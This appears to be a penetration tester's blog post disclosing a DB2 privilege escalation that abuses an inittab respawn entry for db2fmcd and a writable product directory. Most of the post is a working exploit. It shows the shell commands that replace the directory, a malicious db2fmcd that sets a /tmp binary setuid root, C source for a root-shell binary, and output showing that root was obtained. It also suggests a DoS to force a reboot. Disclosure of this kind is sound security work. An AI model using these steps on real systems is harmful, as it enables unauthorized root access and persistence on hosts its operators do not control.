DB2 Privilege Escalation – Abusing inittab Misconfigurations

I recently came across a DB2 privilege escalation, so I thought I would share it.

That said, I’m not certain if this is a default configuration, or was specific to this machine. With that in mind, this is closer to a full disclosure unless someone has any more information.

Vulnerability

On any machine running DB2 that includes the DB2 Fault Monitor Coordinator, it is likely that a privilege escalation exploit exists.

First, to verify that escalation is possible, look for the following line in /etc/inittab.

fmc:2345:respawn:/db2target/db2/product/V10.5/bin/db2fmcd #DB2 Fault Monitor Coordinator

If this line (or something similar) exists, then verify that your current user has write permissions to the db2/product directory.

[db2adm@db2target ~]$ ls -al /db2target/db2/product
total 16
drwxr-xr-x  4 db2adm  db2adm 4096 Nov 18 03:24 .
drwxr-xr-x  7 db2clp1 db2adm 4096 Nov 18 03:31 ..
drwxr-xr-x  2 db2adm  db2adm 4096 Nov 18 03:13 10.5
drwxrwxr-x 39 root    root   4096 Nov 18 03:26 V10.5

Exploit

If your user has write permissions to the product directory, then you are able to create an entirely new “fake” directory structure that you control.

[db2adm@db2target ~]$ mv /db2target/db2/product/V10.5 /db2target/db2/product/V10.5_bak
[db2adm@db2target ~]$ ls -al /db2target/db2/product
ls -al /db2target/db2/product
total 16
drwxr-xr-x  4 db2adm  db2adm 4096 Apr 25 14:49 .
drwxr-xr-x  7 db2clp1 db2adm 4096 Nov 18 03:31 ..
drwxr-xr-x  2 db2adm  db2adm 4096 Nov 18 03:13 10.5
drwxrwxr-x 39 root    root   4096 Nov 18 03:26 V10.5_bak
[db2adm@db2target ~]$ mkdir /db2target/db2/product/V10.5
[db2adm@db2target ~]$ mkdir /db2target/db2/product/V10.5/bin

With the new directory structure in place, it is time to create a malicious db2fmcd that the system will run at boot time.

[db2adm@db2target tmp]$ cat /db2target/db2/product/V10.5/bin/db2fmcd
chown root:root /tmp/setuid
chmod 4755 /tmp/setuid

In this case, I went with a payload that would setuid root the following binary that I controlled in /tmp.

[db2adm@db2target tmp]$ cat /tmp/setuid.c
int main()
{
     setgid(0);
     setuid(0);
     system("/bin/bash");
}

Before any system changes, the binary has the following permissions.

[db2adm@db2target tmp]$ ls -al /tmp/setuid
-rwxrwxr-x 1 db2adm db2adm 6978 Apr 25 14:51 /tmp/setuid

Afterwards, you just need to wait for the system to be rebooted, or an `init q` to be run. In external threat scenarios, the possibility of a DoS attack makes this vector even easier to control.
Once that occurs, escalation to root is possible!

<...reboot or init q...>
 
[db2adm@db2target tmp]$ ls -al /tmp/setuid
-rwsr-xr-x 1 root root 6978 Apr 25 14:51 /tmp/setuid
[db2adm@db2target tmp]$ ./setuid
[root@db2target tmp]# id
id
uid=0(root) gid=0(root) groups=1145(sdb2adm),1266(db2adm)

Conclusion

While this specific vulnerability was a DB2 privilege escalation, you should always be sure to check inittab when trying to escalate privileges. You never know what scripts or directories that you might have excessive permissions to.

Ray Doyle

Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.

This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.